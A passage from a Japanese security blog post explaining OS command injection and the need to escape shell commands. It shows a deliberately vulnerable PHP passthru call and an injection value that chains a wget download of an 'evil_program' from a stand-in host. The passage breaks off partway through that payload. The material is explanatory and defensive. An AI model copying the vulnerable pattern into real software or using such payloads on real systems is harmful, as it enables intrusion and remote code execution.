(Last Updated On: 2022年7月25日)プログラムからOSコマンドを実行する場合、エスケープ処理を行わないと任意コマンドが実行される危険性があります。 今回はOSコマンドのエスケープについてです。 OSコマンドインジェクション OSコマンドインジェクションはプログラムから実行するコマンドに、攻撃用文字列を挿入(インジェクション)して意図しないコマンドを実行させる攻撃です。 例えば、次のようなLinuxシステムのディレクトリの内容を表示させるプログラム <?php passthru('ls -l '.$_GET['dir']); (任意のディレクトリ内容を表示できる脆弱性はここでは考慮しない) に不正なコマンドを実行させるのはとても簡単です。$_GET[‘dir’]に . ; cd /tmp; wget http://example.com/evil_program; ch
![OSコマンドのエスケープ](https://cdn-ak-scissors.b.st-hatena.com/image/square/9d2015857e00558eb990db2db4a4490aa83e71f0/height=288;version=1;width=512/https%3A%2F%2Fblog.ohgaki.net%2Fwp-content%2Fuploads%2F2013%2F11%2Fcropped-blog_header-2.jpg)